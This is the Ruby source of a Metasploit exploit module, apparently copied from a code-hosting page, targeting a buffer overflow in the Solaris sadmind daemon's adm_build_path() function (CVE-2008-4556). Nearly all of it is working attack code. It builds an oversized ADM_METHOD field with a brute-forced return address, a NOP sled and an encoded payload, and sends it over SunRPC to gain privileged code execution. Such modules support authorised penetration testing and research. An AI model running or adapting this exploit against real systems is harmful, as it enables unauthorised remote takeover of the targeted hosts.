Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SunRPC9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow vulnerability in adm_build_path()16function of sadmind daemon.1718The distributed system administration daemon (sadmind) is the daemon used by19Solstice AdminSuite applications to perform distributed system administration20operations.2122The sadmind daemon is started automatically by the inetd daemon whenever a23request to invoke an operation is received. The sadmind daemon process24continues to run for 15 minutes after the last request is completed, unless a25different idle-time is specified with the -i command line option. The sadmind26daemon may be started independently from the command line, for example, at27system boot time. In this case, the -i option has no effect; sadmind continues28to run, even if there are no active requests.29},30'Author' =>31[32'Ramon de C Valle',33'Adriano Lima <adriano[at]risesecurity.org>',34],35'Arch' => ARCH_X86,36'Platform' => 'solaris',37'References' =>38[39['CVE', '2008-4556'],40['OSVDB', '49111'],41['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'],42],43'Privileged' => true,44'License' => MSF_LICENSE,45'Payload' =>46{47'Space' => 1024,48'BadChars' => "\x00",49},50'Targets' =>51[52[53'Sun Solaris 9 x86 Brute Force',54{55'Arch' => [ ARCH_X86 ],56'Platform' => 'solaris',57'Nops' => 1024 * 32,58'Bruteforce' =>59{60'Start' => { 'Ret' => 0x08062030 },61'Stop' => { 'Ret' => 0x08072030 },62'Step' => 1024 * 30,63}64}65],66[67'Sun Solaris 9 x86',68{69'Nops' => 1024 * 4,70'Bruteforce' =>71{72'Start' => { 'Ret' => 0x08066a60 + 2048 },73'Stop' => { 'Ret' => 0x08066a60 + 2048 },74'Step' => 1,75}76}77],78[79'Debug',80{81'Nops' => 1024 * 4,82'Bruteforce' =>83{84'Start' => { 'Ret' => 0xaabbccdd },85'Stop' => { 'Ret' => 0xaabbccdd },86'Step' => 1,87}88}89],90],91'DefaultTarget' => 0,92'DisclosureDate' => '2008-10-14'93))9495end9697def brute_exploit(brute_target)98begin99sunrpc_create('udp', 100232, 10)100rescue Rex::Proto::SunRPC::RPCTimeout, Rex::Proto::SunRPC::RPCError => e101vprint_error(e.to_s)102return103end104105unless @nops106print_status('Creating nop block...')107if target['Nops'] > 0108@nops = make_nops(target['Nops'])109else110@nops = ''111end112end113114print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret'])115116hostname = 'localhost'117118# buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')119buf1 = "A" * 1017 + [brute_target['Ret']].pack('L')120buf2 = @nops + payload.encoded121122header =123Rex::Encoder::XDR.encode(0) * 7 +124Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,1254, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,126hostname, 'system', rand_text_alpha(16))127128body =129do_int('ADM_FW_VERSION', 1) +130do_string('ADM_LANG', 'C') +131do_string('ADM_REQUESTID', '00009:000000000:0') +132do_string('ADM_CLASS', 'system') +133do_string('ADM_CLASS_VERS', '2.1') +134do_string('ADM_METHOD', buf1) +135do_string('ADM_HOST', hostname) +136do_string('ADM_CLIENT_HOST', hostname) +137do_string('ADM_CLIENT_DOMAIN', '') +138do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +139do_int('ADM_FENCE', 0) +140do_string('X', buf2) +141Rex::Encoder::XDR.encode('netmgt_endofargs')142143request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body144145begin146# two seconds timeout for brute force147sunrpc_call(1, request, 2)148rescue Rex::Proto::SunRPC::RPCTimeout149print_status('Server did not respond, this is expected')150rescue Rex::Proto::SunRPC::RPCError => e151print_error(e.to_s)152end153154sunrpc_destroy155handler156end157158def do_string(str1, str2)159Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)160end161162def do_int(str, int)163Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)164end165end166167168